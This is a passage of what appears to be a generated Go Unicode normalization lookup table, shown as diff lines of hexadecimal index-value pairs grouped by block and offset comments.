0x0bc6, 0x8ef: 0x0bd2, + 0x8f0: 0x0bda, 0x8f1: 0x0be2, 0x8f2: 0x0bf2, 0x8f3: 0x0bfa, 0x8f4: 0x0c02, 0x8f5: 0x0c2e, + 0x8f6: 0x0c32, 0x8f7: 0x0c3a, 0x8f8: 0x0c3e, 0x8f9: 0x0c46, 0x8fa: 0x0c4e, 0x8fb: 0x0c5e, + 0x8fc: 0x0c7a, 0x8fd: 0x0cf2, 0x8fe: 0x0d06, 0x8ff: 0x0d0a, + // Block 0x24, offset 0x900 + 0x900: 0x0d8a, 0x901: 0x0d8e, 0x902: 0x0da2, 0x903: 0x0da6, 0x904: 0x0dae, 0x905: 0x0db6, + 0x906: 0x0dbe, 0x907: 0x0dca, 0x908: 0x0df2, 0x909: 0x0e02, 0x90a: 0x0e16, 0x90b: 0x0e86, + 0x90c: 0x0e92, 0x90d: 0x0ea2, 0x90e: 0x0eae, 0x90f: 0x0eba, 0x910: 0x0ec2, 0x911: 0x0ec6, + 0x912: 0x0eca, 0x913: 0x0ece, 0x914: 0x0ed2, 0x915: 0x0f8a, 0x916: 0x0fd2, 0x917: 0x0fde, + 0x918: 0x0fe2, 0x919: 0x0fe6, 0x91a: 0x0fea, 0x91b: 0x0ff2, 0x91c: 0x0ff6, 0x91d: 0x100a, + 0x91e: 0x1026, 0x91f: 0x102e, 0x920: 0x106e, 0x921: 0x1072, 0x922: 0x107a, 0x923: 0x107e, + 0x924: 0x1086, 0x925: 0x108a, 0x926: 0x10ae, 0x927: 0x10b2, 0x928: 0x10ce, 0x929: 0x10d2, + 0x92a: 0x10d6, 0x92b: 0x10da, 0x92c: 0x10ee, 0x92d: 0x1112, 0x92e: 0x1116, 0x92f: 0x111a, + 0x930: 0x113e, 0x931: 0x117e, 0x932: 0x1182, 0x933: 0x11a2, 0x934: 0x11b2, 0x935: 0x11ba, + 0x936: 0x11da, 0x937: 0x11fe, 0x938: 0x1242, 0x939: 0x124a, 0x93a: 0x125e, 0x93b: 0x126a, + 0x93c: 0x1272, 0x93d: 0x127a, 0x93e: 0x127e, 0x93f: 0x1282, + // Block 0x25, offset 0x940 + 0x940: 0x129a, 0x941: 0x129e, 0x942: 0x12ba, 0x943: 0x12c2, 0x944: 0x12ca, 0x945: 0x12ce, + 0x946: 0x12da, 0x947: 0x12e2, 0x948: 0x12e6, 0x949: 0x12ea, 0x94a: 0x12f2, 0x94b: 0x12f6, + 0x94c: 0x1396, 0x94d: 0x13aa, 0x94e: 0x13de, 0x94f: 0x13e2, 0x950: 0x13ea, 0x951: 0x1416, + 0x952: 0x141e, 0x953: 0x1426, 0x954: 0x142e, 0x955: 0x146a, 0x956: 0x146e, 0x957: 0x1476, + 0x958: 0x147a, 0x959: 0x147e, 0x95a: 0x14aa, 0x95b: 0x14ae, 0x95c: 0x14b6, 0x95d: 0x14ca, + 0x95e: 0x14ce, 0x95f: 0x14ea, 0x960: 0x14f2, 0x961: 0x14f6, 0x962: 0x151a, 0x963: 0x153a, + 0x964: 0x154e, 0x965: 0x1552, 0x966: 0x155a, 0x967: 0x1586, 0x968: 0x158a, 0x969: 0x159a, + 0x96a: 0x15be, 0x96b: 0x15ca, 0x96c: 0x15da, 0x96d: 0x15f2, 0x96e: 0x15fa, 0x96f: 0x15fe, + 0x970: 0x1602, 0x971: 0x1606, 0x972: 0x1612, 0x973: 0x1616, 0x974: 0x161e, 0x975: 0x163a, + 0x976: 0x163e, 0x977: 0x1642, 0x978: 0x165a, 0x979: 0x165e, 0x97a: 0x1666, 0x97b: 0x167a, + 0x97c: 0x167e, 0x97d: 0x1682, 0x97e: 0x168a, 0x97f: 0x168e, + // Block 0x26, offset 0x980 + 0x986: 0xa000, 0x98b: 0xa000, + 0x98c: 0x4049, 0x98d: 0xa000, 0x98e: 0x4051, 0x98f: 0xa000, 0x990: 0x4059, 0x991: 0xa000, + 0x992: 0x4061, 0x993: 0xa000, 0x994: 0x4069, 0x995: 0xa000, 0x996: 0x4071, 0x997: 0xa000, + 0x998: 0x4079, 0x999: 0xa000, 0x99a: 0x4081, 0x99b: 0xa000, 0x99c: 0x4089, 0x99d: 0xa000, + 0x99e: 0x4091, 0x99f: 0xa000, 0x9a0: 0x4099, 0x9a1: 0xa000, 0x9a2: 0x40a1, + 0x9a4: 0xa000, 0x9a5: 0x40a9, 0x9a6: 0xa000, 0x9a7: 0x40b1, 0x9a8: 0xa000, 0x9a9: 0x40b9, + 0x9af: 0xa000, + 0x9b0: 0x40c1, 0x9b1: 0x40c9, 0x9b2: 0xa000, 0x9b3: 0x40d1, 0x9b4: 0x40d9, 0x9b5: 0xa000, + 0x9b6: 0x40e1, 0x9b7: 0x40e9, 0x9b8: 0xa000, 0x9b9: 0x40f1, 0x9ba: 0x40f9, 0x9bb: 0xa000, + 0x9bc: 0x4101, 0x9bd: 0x4109, + // Block 0x27, offset 0x9c0 + 0x9d4: 0x4041, + 0x9d9: 0x9904, 0x9da: 0x9904, 0x9db: 0x441d, 0x9dc: 0x4423, 0x9dd: 0xa000, + 0x9de: 0x4111, 0x9df: 0x27e4, + 0x9e6: 0xa000, + 0x9eb: 0xa000, 0x9ec: 0x4121, 0x9ed: 0xa000, 0x9ee: 0x4129, 0x9ef: 0xa000, + 0x9f0: 0x4131, 0x9f1: 0xa000, 0x9f2: 0x4139, 0x9f3: 0xa000, 0x9f4: 0x4141, 0x9f5: 0xa000, + 0x9f6: 0x4149, 0x9f7: 0xa000, 0x9f8: 0x4151, 0x9f9: 0xa000, 0x9fa: 0x4159, 0x9fb: 0xa000, + 0x9fc: 0x4161, 0x9fd: 0xa000, 0x9fe: 0x4169, 0x9ff: 0xa000, + // Block 0x28, offset 0xa00 + 0xa00: 0x4171, 0xa01: 0xa000, 0xa02: 0x4179, 0xa04: 0xa000, 0xa05: 0x4181, + 0xa06: 0xa000, 0xa07: 0x4189, 0xa08: 0xa000, 0xa09: 0x4191, + 0xa0f: 0xa000, 0xa10: 0x4199, 0xa11: 0x41a1, + 0xa12: 0xa000, 0xa13: 0x41a9, 0xa14: 0x41b1, 0xa15: 0xa000, 0xa16: 0x41b9, 0xa17: 0x41c1, + 0xa18: 0xa000, 0xa19: 0x41c9, 0xa1a: 0x41d1, 0xa1b: 0xa000, 0xa1c: 0x41d9, 0xa1d: 0x41e1, + 0xa2f: 0xa000, + 0xa30: 0xa000, 0xa31: 0xa000, 0xa32: 0xa000, 0xa34: 0x4119, + 0xa37: 0x41e9, 0xa38: 0x41f1, 0xa39: 0x41f9, 0xa3a: 0x4201, + 0xa3d: 0xa000, 0xa3e: 0x4209, 0xa3f: 0x27f9, + // Block 0x29, offset 0xa40 + 0xa40: 0x045a, 0xa41: 0x041e, 0xa42: 0x0422, 0xa43: 0x0426, 0xa44: 0x046e, 0xa45: 0x042a, + 0xa46: 0x042e, 0xa47: 0x0432, 0xa48: 0x0436, 0xa49: 0x043a, 0xa4a: 0x043e, 0xa4b: 0x0442, + 0xa4c: 0x0446, 0xa4d: 0x044a, 0xa4e: 0x044e, 0xa4f: 0x4afe, 0xa50: 0x4b04, 0xa51: 0x4b0a, + 0xa52: 0x4b10, 0xa53: 0x4b16, 0xa54: 0x4b1c, 0xa55: 0x4b22, 0xa56: 0x4b28, 0xa57: 0x4b2e, + 0xa58: 0x4b34, 0xa59: 0x4b3a, 0xa5a: 0x4b40, 0xa5b: 0x4b46, 0xa5c: 0x4b4c, 0xa5d: 0x4b52, + 0xa5e: 0x4b58, 0xa5f: 0x4b5e, 0xa60: 0x4b64, 0xa61: 0x4b6a, 0xa62: 0x4b70, 0xa63: 0x4b76, + 0xa64: 0x04b6, 0xa65: 0x0452, 0xa66: 0x0456, 0xa67: 0x04da, 0xa68: 0x04de, 0xa69: 0x04e2, + 0xa6a: 0x04e6, 0xa6b: 0x04ea, 0xa6c: 0x04ee, 0xa6d: 0x04f2, 0xa6e: 0x045e, 0xa6f: 0x04f6, + 0xa70: 0x04fa, 0xa71: 0x0462, 0xa72: 0x0466, 0xa73: 0x046a, 0xa74: 0x0472, 0xa75: 0x0476, + 0xa76: 0x047a, 0xa77: 0x047e, 0xa78: 0x0482, 0xa79: 0x0486, 0xa7a: 0x048a, 0xa7b: 0x048e, + 0xa7c: 0x0492, 0xa7d: 0x0496, 0xa7e: 0x049a, 0xa7f: 0x049e, + // Block 0x2a, offset 0xa80 + 0xa80: 0x04a2, 0xa81: 0x04a6, 0xa82: 0x04fe, 0xa83: 0x0502, 0xa84: 0x04aa, 0xa85: 0x04ae, + 0xa86: 0x04b2, 0xa87: 0x04ba, 0xa88: 0x04be, 0xa89: 0x04c2, 0xa8a: 0x04c6, 0xa8b: 0x04ca, + 0xa8c: 0x04ce, 0xa8d: 0x04d2, 0xa8e: 0x04d6, + 0xa92: 0x07ba, 0xa93: 0x0816, 0xa94: 0x07c6, 0xa95: 0x0a76, 0xa96: 0x07ca, 0xa97: 0x07e2, + 0xa98: 0x07ce, 0xa99: 0x108e, 0xa9a: 0x0802, 0xa9b: 0x07d6, 0xa9c: 0x07be, 0xa9d: 0x0afa, + 0xa9e: 0x0a8a, 0xa9f: 0x082a, + // Block 0x2b, offset 0xac0 + 0xac0: 0x2184, 0xac1: 0x218a, 0xac2: 0x2190, 0xac3: 0x2196, 0xac4: 0x219c, 0xac5: 0x21a2, + 0xac6: 0x21a8, 0xac7: 0x21ae, 0xac8: 0x21b4, 0xac9: 0x21ba, 0xaca: 0x21c0, 0xacb: 0x21c6, + 0xacc: 0x21cc, 0xacd: 0x21d2, 0xace: 0x285d, 0xacf: 0x2866, 0xad0: 0x286f, 0xad1: 0x2878, + 0xad2: 0x2881, 0xad3: 0x288a, 0xad4: 0x2893, 0xad5: 0x289c, 0xad6: 0x28a5, 0xad7: 0x28b7, + 0xad8: 0x28c0, 0xad9: 0x28c9, 0xada: 0x28d2, 0xadb: 0x28db, 0xadc: 0x28ae, 0xadd: 0x2ce3, + 0xade: 0x2c24, 0xae0: 0x21d8, 0xae1: 0x21f0, 0xae2: 0x21e4, 0xae3: 0x2238, + 0xae4: 0x21f6, 0xae5: 0x2214, 0xae6: 0x21de, 0xae7: 0x220e, 0xae8: 0x21ea, 0xae9: 0x2220, + 0xaea: 0x2250, 0xaeb: 0x226e, 0xaec: 0x2268, 0xaed: 0x225c, 0xaee: 0x22aa, 0xaef: 0x223e, + 0xaf0: 0x224a, 0xaf1: 0x2262, 0xaf2: 0x2256, 0xaf3: 0x2280, 0xaf4: 0x222c, 0xaf5: 0x2274, + 0xaf6: 0x229e, 0xaf7: 0x2286, 0xaf8: 0x221a, 0xaf9: 0x21fc, 0xafa: 0x2232, 0xafb: 0x2244, + 0xafc: 0x227a, 0xafd: 0x2202, 0xafe: 0x22a4, 0xaff: 0x2226, + // Block 0x2c, offset 0xb00 + 0xb00: 0x228c, 0xb01: 0x2208, 0xb02: 0x2292, 0xb03: 0x2298, 0xb04: 0x0a2a, 0xb05: 0x0bfe, + 0xb06: 0x0da2, 0xb07: 0x11c2, + 0xb10: 0x1cf4, 0xb11: 0x19d6, + 0xb12: 0x19d9, 0xb13: 0x19dc, 0xb14: 0x19df, 0xb15: 0x19e2, 0xb16: 0x19e5, 0xb17: 0x19e8, + 0xb18: 0x19eb, 0xb19: 0x19ee, 0xb1a: 0x19f7, 0xb1b: 0x19fa, 0xb1c: 0x19fd, 0xb1d: 0x1a00, + 0xb1e: 0x1a03, 0xb1f: 0x1a06, 0xb20: 0x0406, 0xb21: 0x040e, 0xb22: 0x0412, 0xb23: 0x041a, + 0xb24: 0x041e, 0xb25: 0x0422, 0xb26: 0x042a, 0xb27: 0x0432, 0xb28: 0x0436, 0xb29: 0x043e, + 0xb2a: 0x0442, 0xb2b: 0x0446, 0xb2c: 0x044a, 0xb2d: 0x044e, 0xb2e: 0x2f59, 0xb2f: 0x2f61, + 0xb30: 0x2f69, 0xb31: 0x2f71, 0xb32: 0x2f79, 0xb33: 0x2f81, 0xb34: 0x2f89, 0xb35: 0x2f91, + 0xb36: 0x2fa1, 0xb37: 0x2fa9, 0xb38: 0x2fb1, 0xb39: 0x2fb9, 0xb3a: 0x2fc1, 0xb3b: 0x2fc9, + 0xb3c: 0x3014, 0xb3d: 0x2fdc, 0xb3e: 0x2f99, + // Block 0x2d, offset 0xb40 + 0xb40: 0x07ba, 0xb41: 0x0816, 0xb42: 0x07c6, 0xb43: 0x0a76, 0xb44: 0x081a, 0xb45: 0x08aa, + 0xb46: 0x07c2, 0xb47: 0x08a6, 0xb48: 0x0806, 0xb49: 0x0982, 0xb4a: 0x0e02, 0xb4b: 0x0f8a, + 0xb4c: 0x0ed2, 0xb4d: 0x0e16, 0xb4e: 0x155a, 0xb4f: 0x0a86, 0xb50: 0x0dca, 0xb51: 0x0e46, + 0xb52: 0x0e06, 0xb53: 0x1146, 0xb54: 0x09f6, 0xb55: 0x0ffe, 0xb56: 0x1482, 0xb57: 0x115a, + 0xb58: 0x093e, 0xb59: 0x118a, 0xb5a: 0x1096, 0xb5b: 0x0b12, 0xb5c: 0x150a, 0xb5d: 0x087a, + 0xb5e: 0x09a6, 0xb5f: 0x0ef2, 0xb60: 0x1622, 0xb61: 0x083e, 0xb62: 0x08ce, 0xb63: 0x0e96, + 0xb64: 0x07ca, 0xb65: 0x07e2, 0xb66: 0x07ce, 0xb67: 0x0bd6, 0xb68: 0x09ea, 0xb69: 0x097a, + 0xb6a: 0x0b52, 0xb6b: 0x0b46, 0xb6c: 0x10e6, 0xb6d: 0x083a, 0xb6e: 0x1496, 0xb6f: 0x0996, + 0xb70: 0x0aee, 0xb71: 0x1a09, 0xb72: 0x1a0c, 0xb73: 0x1a0f, 0xb74: 0x1a12, 0xb75: 0x1a1b, + 0xb76: 0x1a1e, 0xb77: 0x1a21, 0xb78: 0x1a24, 0xb79: 0x1a27, 0xb7a: 0x1a2a, 0xb7b: 0x1a2d, + 0xb7c: 0x1a30, 0xb7d: 0x1a33, 0xb7e: 0x1a36, 0xb7f: 0x1a3f, + // Block 0x2e, offset 0xb80 + 0xb80: 0x1df6, 0xb81: 0x1e05, 0xb82: 0x1e14, 0xb83: 0x1e23, 0xb84: 0x1e32, 0xb85: 0x1e41, + 0xb86: 0x1e50, 0xb87: 0x1e5f, 0xb88: 0x1e6e, 0xb89: 0x22bc, 0xb8a: 0x22ce, 0xb8b: 0x22e0, + 0xb8c: 0x1a81, 0xb8d: 0x1d34, 0xb8e: 0x1b02, 0xb8f: 0x1cd8, 0xb90: 0x05c6, 0xb91: 0x05ce, + 0xb92: 0x05d6, 0xb93: 0x05de, 0xb94: 0x05e6, 0xb95: 0x05ea, 0xb96: 0x05ee, 0xb97: 0x05f2, + 0xb98: 0x05f6, 0xb99: 0x05fa, 0xb9a: 0x05fe, 0xb9b: 0x0602, 0xb9c: 0x0606, 0xb9d: 0x060a, + 0xb9e: 0x060e, 0xb9f: 0x0612, 0xba0: 0x0616, 0xba1: 0x061e, 0xba2: 0x0622, 0xba3: 0x0626, + 0xba4: 0x062a, 0xba5: 0x062e, 0xba6: 0x0632, 0xba7: 0x0636, 0xba8: 0x063a, 0xba9: 0x063e, + 0xbaa: 0x0642, 0xbab: 0x0646, 0xbac: 0x064a, 0xbad: 0x064e, 0xbae: 0x0652, 0xbaf: 0x0656, + 0xbb0: 0x065a, 0xbb1: 0x065e, 0xbb2: 0x0662, 0xbb3: 0x066a, 0xbb4: 0x0672, 0xbb5: 0x067a, + 0xbb6: 0x067e, 0xbb7: 0x0682, 0xbb8: 0x0686, 0xbb9: 0x068a, 0xbba: 0x068e, 0xbbb: 0x0692, + 0xbbc: 0x0696, 0xbbd: 0x069a, 0xbbe: 0x069e, 0xbbf: 0x282a, + // Block 0x2f, offset 0xbc0 + 0xbc0: 0x2c43, 0xbc1: 0x2adf, 0xbc2: 0x2c53, 0xbc3: 0x29b7, 0xbc4: 0x3025, 0xbc5: 0x29c1, + 0xbc6: 0x29cb, 0xbc7: 0x3069, 0xbc8: 0x2aec, 0xbc9: 0x29d5, 0xbca: 0x29df, 0xbcb: 0x29e9, + 0xbcc: 0x2b13, 0xbcd: 0x2b20, 0xbce: 0x2af9, 0xbcf: 0x2b06, 0xbd0: 0x2fea, 0xbd1: 0x2b2d, + 0xbd2: 0x2b3a, 0xbd3: 0x2cf5, 0xbd4: 0x27eb, 0xbd5: 0x2d08, 0xbd6: 0x2d1b, 0xbd7: 0x2c63, + 0xbd8: 0x2b47, 0xbd9: 0x2d2e, 0xbda: 0x2d41, 0xbdb: 0x2b54, 0xbdc: 0x29f3, 0xbdd: 0x29fd, + 0xbde: 0x2ff8, 0xbdf: 0x2b61, 0xbe0: 0x2c73, 0xbe1: 0x3036, 0xbe2: 0x2a07, 0xbe3: 0x2a11, + 0xbe4: 0x2b6e, 0xbe5: 0x2a1b, 0xbe6: 0x2a25, 0xbe7: 0x2800, 0xbe8: 0x2807, 0xbe9: 0x2a2f, + 0xbea: 0x2a39, 0xbeb: 0x2d54, 0xbec: 0x2b7b, 0xbed: 0x2c83, 0xbee: 0x2d67, 0xbef: 0x2b88, + 0xbf0: 0x2a4d, 0xbf1: 0x2a43, 0xbf2: 0x307d, 0xbf3: 0x2b95, 0xbf4: 0x2d7a, 0xbf5: 0x2a57, + 0xbf6: 0x2c93, 0xbf7: 0x2a61, 0xbf8: 0x2baf, 0xbf9: 0x2a6b, 0xbfa: 0x2bbc, 0xbfb: 0x3047, + 0xbfc: 0x2ba2, 0xbfd: 0x2ca3, 0xbfe: 0x2bc9, 0xbff: 0x280e, + // Block 0x30, offset 0xc00 + 0xc00: 0x3058, 0xc01: 0x2a75, 0xc02: 0x2a7f, 0xc03: 0x2bd6, 0xc04: 0x2a89, 0xc05: 0x2a93, + 0xc06: 0x2a9d, 0xc07: 0x2cb3, 0xc08: 0x2be3, 0xc09: 0x2815, 0xc0a: 0x2d8d, 0xc0b: 0x2fd1, + 0xc0c: 0x2cc3, 0xc0d: 0x2bf0, 0xc0e: 0x3006, 0xc0f: 0x2aa7, 0xc10: 0x2ab1, 0xc11: 0x2bfd, + 0xc12: 0x281c, 0xc13: 0x2c0a, 0xc14: 0x2cd3, 0xc15: 0x2823, 0xc16: 0x2da0, 0xc17: 0x2abb, + 0xc18: 0x1de7, 0xc19: 0x1dfb, 0xc1a: 0x1e0a, 0xc1b: 0x1e19, 0xc1c: 0x1e28, 0xc1d: 0x1e37, + 0xc1e: 0x1e46, 0xc1f: 0x1e55, 0xc20: 0x1e64, 0xc21: 0x1e73, 0xc22: 0x22c2, 0xc23: 0x22d4, + 0xc24: 0x22e6, 0xc25: 0x22f2, 0xc26: 0x22fe, 0xc27: 0x230a, 0xc28: 0x2316, 0xc29: 0x2322, + 0xc2a: 0x232e, 0xc2b: 0x233a, 0xc2c: 0x2376, 0xc2d: 0x2382, 0xc2e: 0x238e, 0xc2f: 0x239a, + 0xc30: 0x23a6, 0xc31: 0x1d44, 0xc32: 0x1af6, 0xc33: 0x1a63, 0xc34: 0x1d14, 0xc35: 0x1b77, + 0xc36: 0x1b86, 0xc37: 0x1afc, 0xc38: 0x1d2c, 0xc39: 0x1d30, 0xc3a: 0x1a8d, 0xc3b: 0x2838, + 0xc3c: 0x2846, 0xc3d: 0x2831, 0xc3e: 0x283f, 0xc3f: 0x2c17, + // Block 0x31, offset 0xc40 + 0xc40: 0x1b7a, 0xc41: 0x1b62, 0xc42: 0x1d90, 0xc43: 0x1b4a, 0xc44: 0x1b23, 0xc45: 0x1a96, + 0xc46: 0x1aa5, 0xc47: 0x1a75, 0xc48: 0x1d20, 0xc49: 0x1e82, 0xc4a: 0x1b7d, 0xc4b: 0x1b65, + 0xc4c: 0x1d94, 0xc4d: 0x1da0, 0xc4e: 0x1b56, 0xc4f: 0x1b2c, 0xc50: 0x1a84, 0xc51: 0x1d4c, + 0xc52: 0x1ce0, 0xc53: 0x1ccc, 0xc54: 0x1cfc, 0xc55: 0x1da4, 0xc56: 0x1b59, 0xc57: 0x1af9, + 0xc58: 0x1b2f, 0xc59: 0x1b0e, 0xc5a: 0x1b71, 0xc5b: 0x1da8, 0xc5c: 0x1b5c, 0xc5d: 0x1af0, + 0xc5e: 0x1b32, 0xc5f: 0x1d6c, 0xc60: 0x1d24, 0xc61: 0x1b44, 0xc62: 0x1d54, 0xc63: 0x1d70, + 0xc64: 0x1d28, 0xc65: 0x1b47, 0xc66: 0x1d58, 0xc67: 0x2418, 0xc68: 0x242c, 0xc69: 0x1ac6, + 0xc6a: 0x1d50, 0xc6b: 0x1ce4, 0xc6c: 0x1cd0, 0xc6d: 0x1d78, 0xc6e: 0x284d, 0xc6f: 0x28e4, + 0xc70: 0x1b89, 0xc71: 0x1b74, 0xc72: 0x1dac, 0xc73: 0x1b5f, 0xc74: 0x1b80, 0xc75: 0x1b68, + 0xc76: 0x1d98, 0xc77: 0x1b4d, 0xc78: 0x1b26, 0xc79: 0x1ab1, 0xc7a: 0x1b83, 0xc7b: 0x1b6b, + 0xc7c: 0x1d9c, 0xc7d: 0x1b50, 0xc7e: 0x1b29, 0xc7f: 0x1ab4, + // Block 0x32, offset 0xc80 + 0xc80: 0x1d5c, 0xc81: 0x1ce8, 0xc82: 0x1e7d, 0xc83: 0x1a66, 0xc84: 0x1aea, 0xc85: 0x1aed, + 0xc86: 0x2425, 0xc87: 0x1cc4, 0xc88: 0x1af3, 0xc89: 0x1a78, 0xc8a: 0x1b11, 0xc8b: 0x1a7b, + 0xc8c: 0x1b1a, 0xc8d: 0x1a99, 0xc8e: 0x1a9c, 0xc8f: 0x1b35, 0xc90: 0x1b3b, 0xc91: 0x1b3e, + 0xc92: 0x1d60, 0xc93: 0x1b41, 0xc94: 0x1b53, 0xc95: 0x1d68, 0xc96: 0x1d74, 0xc97: 0x1ac0, + 0xc98: 0x1e87, 0xc99: 0x1cec, 0xc9a: 0x1ac3, 0xc9b: 0x1b8c, 0xc9c: 0x1ad5, 0xc9d: 0x1ae4, + 0xc9e: 0x2412, 0xc9f: 0x240c, 0xca0: 0x1df1, 0xca1: 0x1e00, 0xca2: 0x1e0f, 0xca3: 0x1e1e, + 0xca4: 0x1e2d, 0xca5: 0x1e3c, 0xca6: 0x1e4b, 0xca7: 0x1e5a, 0xca8: 0x1e69, 0xca9: 0x22b6, + 0xcaa: 0x22c8, 0xcab: 0x22da, 0xcac: 0x22ec, 0xcad: 0x22f8, 0xcae: 0x2304, 0xcaf: 0x2310, + 0xcb0: 0x231c, 0xcb1: 0x2328, 0xcb2: 0x2334, 0xcb3: 0x2370, 0xcb4: 0x237c, 0xcb5: 0x2388, + 0xcb6: 0x2394, 0xcb7: 0x23a0, 0xcb8: 0x23ac, 0xcb9: 0x23b2, 0xcba: 0x23b8, 0xcbb: 0x23be, + 0xcbc: 0x23c4, 0xcbd: 0x23d6, 0xcbe: 0x23dc, 0xcbf: 0x1d40, + // Block 0x33, offset 0xcc0 + 0xcc0: 0x1472, 0xcc1: 0x0df6, 0xcc2: 0x14ce, 0xcc3: 0x149a, 0xcc4: 0x0f52, 0xcc5: 0x07e6, + 0xcc6: 0x09da, 0xcc7: 0x1726, 0xcc8: 0x1726, 0xcc9: 0x0b06, 0xcca: 0x155a, 0xccb: 0x0a3e, + 0xccc: 0x0b02, 0xccd: 0x0cea, 0xcce: 0x10ca, 0xccf: 0x125a, 0xcd0: 0x1392, 0xcd1: 0x13ce, + 0xcd2: 0x1402, 0xcd3: 0x1516, 0xcd4: 0x0e6e, 0xcd5: 0x0efa, 0xcd6: 0x0fa6, 0xcd7: 0x103e, + 0xcd8: 0x135a, 0xcd9: 0x1542, 0xcda: 0x166e, 0xcdb: 0x080a, 0xcdc: 0x09ae, 0xcdd: 0x0e82, + 0xcde: 0x0fca, 0xcdf: 0x138e, 0xce0: 0x16be, 0xce1: 0x0bae, 0xce2: 0x0f72, 0xce3: 0x137e, + 0xce4: 0x1412, 0xce5: 0x0d1e, 0xce6: 0x12b6, 0xce7: 0x13da, 0xce8: 0x0c1a, 0xce9: 0x0e0a, + 0xcea: 0x0f12, 0xceb: 0x1016, 0xcec: 0x1522, 0xced: 0x084a, 0xcee: 0x08e2, 0xcef: 0x094e, + 0xcf0: 0x0d86, 0xcf1: 0x0e7a, 0xcf2: 0x0fc6, 0xcf3: 0x10ea, 0xcf4: 0x1272, 0xcf5: 0x1386, + 0xcf6: 0x139e, 0xcf7: 0x14c2, 0xcf8: 0x15ea, 0xcf9: 0x169e, 0xcfa: 0x16ba, 0xcfb: 0x1126, + 0xcfc: 0x1166, 0xcfd: 0x121e, 0xcfe: 0x133e, 0xcff: 0x1576, + // Block 0x34, offset 0xd00 + 0xd00: 0x16c6, 0xd01: 0x1446, 0xd02: 0x0ac2, 0xd03: 0x0c36, 0xd04: 0x11d6, 0xd05: 0x1296, + 0xd06: 0x0ffa, 0xd07: 0x112e, 0xd08: 0x1492, 0xd09: 0x15e2, 0xd0a: 0x0abe, 0xd0b: 0x0b8a, + 0xd0c: 0x0e72, 0xd0d: 0x0f26, 0xd0e: 0x0f5a, 0xd0f: 0x120e, 0xd10: 0x1236, 0xd11: 0x15a2, + 0xd12: 0x094a, 0xd13: 0x12a2, 0xd14: 0x08ee, 0xd15: 0x08ea, 0xd16: 0x1192, 0xd17: 0x1222, + 0xd18: 0x1356, 0xd19: 0x15aa, 0xd1a: 0x1462, 0xd1b: 0x0d22, 0xd1c: 0x0e6e, 0xd1d: 0x1452, + 0xd1e: 0x07f2, 0xd1f: 0x0b5e, 0xd20: 0x0c8e, 0xd21: 0x102a, 0xd22: 0x10aa, 0xd23: 0x096e, + 0xd24: 0x1136, 0xd25: 0x085a, 0xd26: 0x0c72, 0xd27: 0x07d2, 0xd28: 0x0ee6, 0xd29: 0x0d9e, + 0xd2a: 0x120a, 0xd2b: 0x09c2, 0xd2c: 0x0aae, 0xd2d: 0x10f6, 0xd2e: 0x135e, 0xd2f: 0x1436, + 0xd30: 0x0eb2, 0xd31: 0x14f2, 0xd32: 0x0ede, 0xd33: 0x0d32, 0xd34: 0x1316, 0xd35: 0x0d52, + 0xd36: 0x10a6, 0xd37: 0x0826, 0xd38: 0x08a2, 0xd39: 0x08e6, 0xd3a: 0x0e4e, 0xd3b: 0x11f6, + 0xd3c: 0x12ee, 0xd3d: 0x1442, 0xd3e: 0x1556, 0xd3f: 0x0956, + // Block 0x35, offset 0xd40 + 0xd40: 0x0a0a, 0xd41: 0x0b12, 0xd42: 0x0c2a, 0xd43: 0x0dba, 0xd44: 0x0f76, 0xd45: 0x113a, + 0xd46: 0x1592, 0xd47: 0x1676, 0xd48: 0x16ca, 0xd49: 0x16e2, 0xd4a: 0x0932, 0xd4b: 0x0dee, + 0xd4c: 0x0e9e, 0xd4d: 0x14e6, 0xd4e: 0x0bf6, 0xd4f: 0x0cd2, 0xd50: 0x0cee, 0xd51: 0x0d7e, + 0xd52: 0x0f66, 0xd53: 0x0fb2, 0xd54: 0x1062, 0xd55: 0x1186, 0xd56: 0x122a, 0xd57: 0x128e, + 0xd58: 0x14d6, 0xd59: 0x1366, 0xd5a: 0x14fe, 0xd5b: 0x157a, 0xd5c: 0x090a, 0xd5d: 0x0936, + 0xd5e: 0x0a1e, 0xd5f: 0x0fa2, 0xd60: 0x13ee, 0xd61: 0x1436, 0xd62: 0x0c16, 0xd63: 0x0c86, + 0xd64: 0x0d4a, 0xd65: 0x0eaa, 0xd66: 0x11d2, 0xd67: 0x101e, 0xd68: 0x0836, 0xd69: 0x0a7a, + 0xd6a: 0x0b5e, 0xd6b: 0x0bc2, 0xd6c: 0x0c92, 0xd6d: 0x103a, 0xd6e: 0x1056, 0xd6f: 0x1266, + 0xd70: 0x1286, 0xd71: 0x155e, 0xd72: 0x15de, 0xd73: 0x15ee, 0xd74: 0x162a, 0xd75: 0x084e, + 0xd76: 0x117a, 0xd77: 0x154a, 0xd78: 0x15c6, 0xd79: 0x0caa, 0xd7a: 0x0812, 0xd7b: 0x0872, + 0xd7c: 0x0b62, 0xd7d: 0x0b82, 0xd7e: 0x0daa, 0xd7f: 0x0e6e, + // Block 0x36, offset 0xd80 + 0xd80: 0x0fbe, 0xd81: 0x10c6, 0xd82: 0x1372, 0xd83: 0x1512, 0xd84: 0x171e, 0xd85: 0x0dde, + 0xd86: 0x159e, 0xd87: 0x092e, 0xd88: 0x0e2a, 0xd89: 0x0e36, 0xd8a: 0x0f0a, 0xd8b: 0x0f42, + 0xd8c: 0x1046, 0xd8d: 0x10a2, 0xd8e: 0x1122, 0xd8f: 0x1206, 0xd90: 0x1636, 0xd91: 0x08aa, + 0xd92: 0x0cfe, 0xd93: 0x15ae, 0xd94: 0x0862, 0xd95: 0x0ba6, 0xd96: 0x0f2a, 0xd97: 0x14da, + 0xd98: 0x0c62, 0xd99: 0x0cb2, 0xd9a: 0x0e3e, 0xd9b: 0x102a, 0xd9c: 0x15b6, 0xd9d: 0x0912, + 0xd9e: 0x09fa, 0xd9f: 0x0b92, 0xda0: 0x0dce, 0xda1: 0x0e1a, 0xda2: 0x0e5a, 0xda3: 0x0eee, + 0xda4: 0x1042, 0xda5: 0x10b6, 0xda6: 0x1252, 0xda7: 0x13f2, 0xda8: 0x13fe, 0xda9: 0x1552, + 0xdaa: 0x15d2, 0xdab: 0x097e, 0xdac: 0x0f46, 0xdad: 0x09fe, 0xdae: 0x0fc2, 0xdaf: 0x1066, + 0xdb0: 0x1382, 0xdb1: 0x15ba, 0xdb2: 0x16a6, 0xdb3: 0x16ce, 0xdb4: 0x0e32, 0xdb5: 0x0f22, + 0xdb6: 0x12be, 0xdb7: 0x11b2, 0xdb8: 0x11be, 0xdb9: 0x11e2, 0xdba: 0x1012, 0xdbb: 0x0f9a, + 0xdbc: 0x145e, 0xdbd: 0x082e, 0xdbe: 0x1326, 0xdbf: 